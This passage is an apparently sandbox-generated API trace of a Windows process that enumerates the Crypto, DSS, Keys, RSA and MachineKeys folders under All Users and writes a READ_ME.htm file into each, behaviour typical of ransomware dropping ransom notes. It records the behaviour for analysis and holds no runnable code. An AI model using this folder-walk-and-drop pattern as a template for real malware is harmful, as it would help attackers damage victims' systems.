ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0140.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0140.410] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.410] SetErrorMode (uMode=0x0) returned 0x1 [0140.410] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0140.410] SetErrorMode (uMode=0x1) returned 0x0 [0140.410] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0140.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0140.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7f0f40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0140.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0140.411] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.411] SetErrorMode (uMode=0x0) returned 0x1 [0140.412] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0140.412] SetErrorMode (uMode=0x1) returned 0x0 [0140.412] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.412] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.412] SetErrorMode (uMode=0x0) returned 0x1 [0140.413] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0140.413] SetErrorMode (uMode=0x1) returned 0x0 [0140.413] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.413] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.413] SetErrorMode (uMode=0x0) returned 0x1 [0140.413] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0140.413] SetErrorMode (uMode=0x1) returned 0x0 [0140.414] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.414] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.414] SetErrorMode (uMode=0x0) returned 0x1 [0140.414] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0140.414] SetErrorMode (uMode=0x1) returned 0x0 [0140.414] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.415] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.415] SetErrorMode (uMode=0x0) returned 0x1 [0140.415] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0140.415] SetErrorMode (uMode=0x1) returned 0x0 [0140.415] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.416] SetErrorMode (uMode=0x0) returned 0x1 [0140.416] GetFileType (hFile=0x1d0) returned 0x1 [0140.416] WriteFile (in: hFile=0x1d0, lpBuffer=0x2920e88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2920e88*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.418] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0140.418] SetErrorMode (uMode=0x1) returned 0x0 [0140.418] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.419] SetErrorMode (uMode=0x0) returned 0x1 [0140.419] GetFileType (hFile=0x1d0) returned 0x1 [0140.419] WriteFile (in: hFile=0x1d0, lpBuffer=0x2925418*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2925418*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.421] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0140.421] SetErrorMode (uMode=0x1) returned 0x0 [0140.421] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.421] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.421] SetErrorMode (uMode=0x0) returned 0x1 [0140.421] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0140.422] SetErrorMode (uMode=0x1) returned 0x0 [0140.422] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.422] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.422] SetErrorMode (uMode=0x0) returned 0x1 [0140.423] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0140.423] SetErrorMode (uMode=0x1) returned 0x0 [0140.423] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.424] SetErrorMode (uMode=0x0) returned 0x1 [0140.424] GetFileType (hFile=0x1d0) returned 0x1 [0140.424] WriteFile (in: hFile=0x1d0, lpBuffer=0x292b4b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x292b4b0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.426] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x27 [0140.426] SetErrorMode (uMode=0x1) returned 0x0 [0140.426] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.426] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.426] SetErrorMode (uMode=0x0) returned 0x1 [0140.427] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x27 [0140.427] SetErrorMode (uMode=0x1) returned 0x0 [0140.427] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.427] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.427] SetErrorMode (uMode=0x0) returned 0x1 [0140.428] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x33 [0140.428] SetErrorMode (uMode=0x1) returned 0x0 [0140.428] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.428] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.428] SetErrorMode (uMode=0x0) returned 0x1 [0140.428] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x33 [0140.428] SetErrorMode (uMode=0x1) returned 0x0 [0140.429] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.429] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.429] SetErrorMode (uMode=0x0) returned 0x1 [0140.429] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0140.429] SetErrorMode (uMode=0x1) returned 0x0 [0140.429] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.431] SetErrorMode (uMode=0x0) returned 0x1 [0140.431] GetFileType (hFile=0x1d0) returned 0x1 [0140.431] WriteFile (in: hFile=0x1d0, lpBuffer=0x29335c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29335c8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.431] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0140.432] SetErrorMode (uMode=0x1) returned 0x0 [0140.432] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.433] SetErrorMode (uMode=0x0) returned 0x1 [0140.433] GetFileType (hFile=0x1d0) returned 0x1 [0140.433] WriteFile (in: hFile=0x1d0, lpBuffer=0x2937b58*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2937b58*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.435] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0140.435] SetErrorMode (uMode=0x1) returned 0x0 [0140.435] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\crypto\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.436] SetErrorMode (uMode=0x0) returned 0x1 [0140.436] GetFileType (hFile=0x1d0) returned 0x1 [0140.436] WriteFile (in: hFile=0x1d0, lpBuffer=0x293c0d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x293c0d8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0140.438] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0140.438] SetErrorMode (uMode=0x1) returned 0x0 [0140.438] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.438] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.439] SetErrorMode (uMode=0x0) returned 0x1 [0140.439] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0140.439] SetErrorMode (uMode=0x1) returned 0x0 [0140.439] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.439] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.439] SetErrorMode (uMode=0x0) returned 0x1 [0140.440] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x30 [0140.440] SetErrorMode (uMode=0x1) returned 0x0 [0140.440] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*" (normalized: "c:\\users\\all users\\microsoft\\device 